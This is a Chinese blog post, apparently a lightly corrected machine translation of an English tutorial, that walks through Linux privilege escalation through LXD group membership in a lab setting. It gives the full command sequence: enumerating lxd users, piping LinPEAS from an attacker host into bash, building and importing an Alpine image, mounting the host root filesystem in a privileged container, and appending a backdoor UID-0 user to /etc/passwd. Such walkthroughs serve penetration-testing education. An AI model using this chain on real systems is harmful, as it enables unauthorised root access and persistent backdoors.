Linux 提權-LXD 容器

扛枪的书生發表於2024-06-27

本文透過 Google 翻譯 LXD Container – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


  • 0 前言
  • 1 什麼是 LXD 和 LXC ?
  • 2 查詢 LXD 組許可權
    • 2.1 手動搜尋 LXD 組使用者
    • 2.2 LXD 許可權提升的提示
    • 2.3 工具列舉 LXD – LinPEAS
  • 3 利用 LXD – Alpine 容器逃生
    • 3.1 構建 Alpine 映象
    • 3.2 下載 Alpine 映象
    • 3.3 匯入 Alpine 映象
    • 3.4 容器逃逸

0、前言

在這篇文章中,我們將回顧 Linux 目標上的 LXD 組許可權,並瞭解該組的成員如何將許可權從標準使用者提升到 root。

首先,我們分別以手動和使用工具的方式列舉目標主機,以表明 LXD 已被初始化並且容器正在執行。接下來,我們將發現當前標準使用者已分配 LXD 組許可權。然後,我們將建立一個具有 root 許可權的容器,並使其能夠掛載到當前實際的檔案系統。最後,我們將以 root 身份進入容器,然後從容器內部以 root 身份與實際檔案系統進行互動!作為獎勵,我們將在實際檔案系統上編輯 passwd 檔案,然後透過獲取 root shell 完全脫離容器。

1、什麼是 LXD 和 LXC ?

首先我們要明白 LXD 和 LXC 都是容器技術。因此,要了解 LXD/LXC,我們首先要了解什麼是容器……

容器是一個隔離的地方,我們可以在這裡執行小到一個應用程式,大到一個完整的作業系統,而不會影響實際系統的其他部分,實際系統也不會影響容器內執行的任何內容。

要了解 LXD 是什麼以及它是如何工作的,我們必須先了解 LXC。

LXC(Linux Container):是一種在 Linux 核心中對作業系統級軟體進行虛擬化的解決方案。LXC 是一種輕量級虛擬化技術(容器),它允許我們建立一個利用主機核心的 Linux 操作環境,這樣就不需要第二個核心了(即 一顆大腦,多種人格)。

LXD(Linux Container Daemon) :是一種基於映象的 "輕型管理程式",這意味著它是一種專為容器設計的管理程式。從本質上講,LXD 是 LXC 的擴充套件,包含一個連線 libxlc(LXC 軟體庫)的 REST-API。

那麼這對於 LXD 組成員的使用者意味著什麼呢?

最重要的一點是 LXD 是一個 root 程序,它允許任何對 LXD 套接字具有寫訪問許可權的人(即 LXD 組中的使用者)執行特權操作。例如作為 LXD 組成員的標準使用者可以建立 root 級特權容器,因為 LXD 不會嘗試匹配當前使用者的許可權。

既然我們已經對容器技術以及 LXD 和 LXC 有了一定程度的瞭解,下面我們就開始演示。

注:LXC 是 Linux 核心支援的一種容器技術,而 LXD 則是基於 LXC 技術製作的一個可以由普通使用者操作的容器程式,其實就相當於我們廣義上所瞭解的容器。

2、查詢 LXD 組許可權

假設我們能夠透過 SSH 成功連線到目標主機,接下來我們將瞭解如何透過手動和使用 LinPEAS 工具的方式來尋找 LXD 組中的使用者。

ssh juggernaut@172.16.1.175

2.1、手動搜尋 LXD 組使用者

我們要做的第一件事是收集目標計算機上存在的所有使用者帳戶的列表;然後我們可以從中找到與每個使用者關聯的所有組。

雖然,這聽起來工作量很大!相反,讓我們展示一些 Linux-fu 技能,並在一個命令中完成上述所有操作。我們將…

  • 從 /etc/passwd 檔案中獲取有關係統上每個帳戶的資訊
  • 使用 Linux-fu 過濾出 /etc/passwd 檔案中的使用者名稱
  • 在輸出的每一行使用者名稱上,我們將使用 xargs 來執行 id 以為我們提供組資訊
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id

以上輸出為我們提供了所有使用者及其關聯組身份的完整列表,但我們可以做得更好。為了獲得更精細的結果,我們可以將 grep 新增到命令中,以僅篩選屬於 LXD 組的使用者。

cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id | grep -i "lx"

Perfect!從上面的輸出中我們可以看到兩個條目。

第一個條目告訴我們 devops 使用者是 LXD 組的一部分。第二個條目是 LXD “使用者”,它是一個用於初始化 LXD 服務的服務帳戶(為容器設定 DNS/DHCP/interface 等內容)。

此時,我們應該考慮如何轉向 secops 使用者。不過,在此之前,讓我們先來看看更多提示,它們將幫助我們找到 LXD 許可權提升的蛛絲馬跡。

2.2、LXD 許可權提升的提示

可以透過檢查一些事情來 Hint 我們當前 LXD 許可權提升是否可行,讓我們快速回顧一下它們。

首先,一旦我們立足於目標,就可以使用 id 命令來快速檢查當前使用者的許可權。如果發現當前使用者屬於 lxd 組 ,那麼就可以知道我們很快就會獲勝。

接下來,我們可以檢查系統上是否存在 lxd 帳戶。如果存在,那麼就知道該系統可以執行容器,並且這裡可能有一個使用者屬於 lxd 組

cat /etc/passwd | grep "lxd"

我們還可以檢查是否有包含 "lxd"或 "lxc"的執行程序,這將暗示一個容器已經在執行。不過,這並不是利用組許可權的必要條件。這主要是為了幫助我們在收集資訊時瞭解系統內部發生了什麼。

ps -ef | grep -i "lxd\|lxc"

在這裡,我們看到了有關該系統上 LXD 服務的大量資訊;其中最值得注意的是,我們看到有一個容器正在執行並監聽於 10.6.81.1 上,但這也只是一個好的提示而已。而我們其實並不需要關心已經執行的容器,因為我們將為此漏洞製作自己的容器。

總的來說,我們能找到的最佳提示是 lxd 組中的使用者,因為這是此攻擊的唯一實際要求。

由於 devops 使用者啟用了 lxd 組許可權,因此我們希望嘗試轉向該使用者。但首先,讓我們快速瞭解一下 LinPEAS 是如何找到上述所有列舉的。

2.3、工具列舉 LXD – LinPEAS

LinPEAS 是一款終極的後漏洞列舉工具,因為它提供了大量資訊。在受害者上執行該工具後,我們將看到手動列舉發現的所有相同內容,甚至更多。然而,在使用工具之前展示手動步驟依舊非常重要,這樣我們才能瞭解工具的輸出以及要查詢的內容。

如果您沒有 LinPEAS 的副本,您可以在這裡獲取一份。

一般來說,當我們執行 LinPEAS 時,我們將不帶引數執行它以執行“所有檢查”,然後從上到下逐行梳理所有輸出。

獲取 LinPEAS 的副本後,我們通常會將副本傳輸給受害者。然而,在這個例子中,我們將它直接下載到記憶體中,並將輸出重定向到一個檔案以便於解析。

首先,我們需要在攻擊者計算機上的 linpeas.sh 所在目錄中設定一個 HTTP 伺服器 。

python3 -m http.server 80

然後,回到受害者機器上,我們可以使用以下命令將 LinPEAS 下載並直接執行到記憶體中,並將輸出重定向到檔案:

curl 172.16.1.30/linpeas.sh | bash > peas.txt

透過將命令直接輸入 bash,cURL 會將指令碼輸入 bash 並在記憶體中執行,而不會將其寫入磁碟!但是,它會透過重定向將結果寫入磁碟上的檔案。

指令碼執行完成後,我們可以使用以下命令過濾結果以僅查詢“lxd”和“lxc”的例項:

cat ./peas.txt | grep -i 'lxd\|lxc'

我們可以看到,LinPEAS 找到了我們手動列舉的所有內容,甚至更多。LinPEAS 發現 lxc 二進位制檔案存在於系統中,它找到了當前正在執行的容器,devops 使用者屬於 lxd 組, 還有更多提示表明這是一條非常合理的特權提升途徑。

再次強調,你不需要找到一個正在執行的容器或上述之中的任何提示以作為攻擊的先決條件。只要你找到 lxd 組中的使用者,你就有可能獲得 root 許可權,但前提是你能以該使用者的身份獲得 shell。我只是向你展示如何透過跟蹤線索和收集證據來拼湊出一條可能的特權提升路徑。

現在我們已經看到了列舉 LXD/LXC 時的一些技巧,下面假設我們已經獲得了 devops 使用者的密碼,並可以利用該使用者組的許可權。

3、利用 LXD – Alpine 容器逃逸

為了濫用 LXD 組許可權,我們需要首先在攻擊者機器上構建 Alpine 映象。

3.1、構建 Alpine 映象

在攻擊者機器上,我們可以執行以下命令來下載 Alpine 映象,然後構建最新版本。

注:作者 GitHub 倉庫有編譯好的現成映象檔案,可以直接拿來使用。

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

全部完成後,我們將看到在當前目錄中建立了一個 TAR 檔案。這是我們需要傳送給受害者的 Alpine 容器。

由於某種原因我建立了兩個容器檔案,如果您也遇到這種情況,請選擇最新的日期

Alpine 容器準備就緒後,就可以將其傳送給受害者了。

3.2、下載 Alpine 映象

本次使用 FTP 將檔案下載到受害者上,首先我們需要在攻擊者計算機上設定 FTP 伺服器。請在在建立 Alpine 映象的目錄中使用以下命令來完成:

python3 -m pyftpdlib -w -p 21

隨著 FTP 伺服器在攻擊者計算機上執行,我們現在可以返回受害者,訪問 FTP 伺服器,並對 Alpine 映象執行 get 操作。由於允許匿名登入,我們將使用 anonymous 登入,對於密碼,我們只需按[Enter]鍵將其留空。

ftp 172.16.1.30

在 FTP 伺服器內部,我們可以使用 ls -l 命令列出所有檔案,然後我們可以使用 get 命令下載 Alpine 映象。

在獲取檔案並退出 FTP 伺服器後,我們可以看到影像已完整下載到受害者上。

Perfect! 現在 Alpine 映象已位於受害者上,可以被用於利用 LXD 許可權並獲取 root shell 了。

3.3、匯入 Alpine 映象

我們可以使用以下 lxc 命令將 Alpine 映象匯入 LXD 容器:

lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine

之後,我們應該確認它已被匯入。

lxc image list

成功匯入 Alpine 映象後,現在我們可以繼續執行下一組命令,這組命令將執行以下操作:

  • 初始化 Alpine 映象
  • 新增 security.privileged=true 標誌,以便容器以 root 身份執行
  • 將宿主機檔案系統 / 目錄掛載到到容器內作業系統的掛載點上
  • 啟動容器並確認已啟動
lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list

現在我們設定了錯誤配置的容器,我們可以進入 root shell,然後突破併成為實際檔案系統的 root!

lxc exec juggernaut sh

Amazing!我們進入了 root shell;然而,我們目前只是容器內的 root,這是透過使用 ls -l /home 命令確認的,因為並沒有看到實際檔案系統上存在的兩個使用者家目錄:juggernaut 和 devops。

但是,我們確實將宿主機實際的檔案系統掛載到了容器內的 /mnt/root

3.4、突破容器

如果我們 cd 到容器內的 /mnt/root,我們將以 root 身份完全訪問檔案系統,因此從技術上講,此時我們可以做任何事情。

上面的片段顯示實際檔案系統已掛載到容器內的 /mnt/root 目錄;為了確認這一點,我們可以再次檢查 /mnt/root/home 資料夾,但這一次我們將找到我們之前在列舉實際檔案系統時看到的兩個配置檔案。

Incredible!這意味著我們能夠以 root 身份與檔案系統互動!為了確認這一點,我們可以列舉只有 root 可以訪問的內容,例如 /root 目錄或影子檔案。

這很好,但在本例中,我們感興趣的是真正的突破,我們可以透過多種方式實現,例如,獲取root SSH 金鑰、將 bash 複製到 /tmp 並賦予其 SUID 許可權、在 /etc/passwd 檔案中添 root 使用者等。

對於此示例,我們將向 /etc/passwd 新增一個新的 root 使用者。完成後,我們將退出容器並將使用者切換到新的 root 使用者。

為此,我們必須首先使用 openssl 建立一個雜湊密碼。為了簡單起見,我們將密碼設定為“ password ”。我們可以從攻擊者機器內部執行此操作,因為我們只需要獲取雜湊值。

openssl passwd password

執行該命令後,我們將獲得一個雜湊值 ShuKpZV7v9akI ,請將此值放在手邊,因為我們將在下一個命令中需要它。

要建立名為 r00t 的第二個 root 使用者,我們可以將以下行新增到 passwd 檔案中--r00t: ShuKpZV7v9akI:0:0:root:/root:/bin/bash

echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd

將新使用者新增到 /etc/passwd 檔案後,我們就可以退出容器,然後 su r00t,輸入密碼 "password" 後,我們就會進入受害者的正常 root shell。

就這樣,我們建立了第二個 root 使用者,並脫離了容器,獲得了實際檔案系統的 root 訪問許可權!

相關文章